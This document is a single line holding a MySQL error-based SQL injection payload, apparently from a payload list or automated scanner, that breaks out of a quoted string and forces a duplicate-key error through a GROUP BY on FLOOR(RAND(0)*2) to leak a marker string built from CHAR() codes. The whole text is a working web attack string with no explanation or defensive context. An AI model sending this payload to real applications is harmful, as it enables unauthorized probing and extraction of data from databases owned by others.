"+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(52),CHAR(67),CHAR(117),CHAR(120),CHAR(99),CHAR(107),CHAR(119),CHAR(112),CHAR(110),CHAR(106),CHAR(99),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"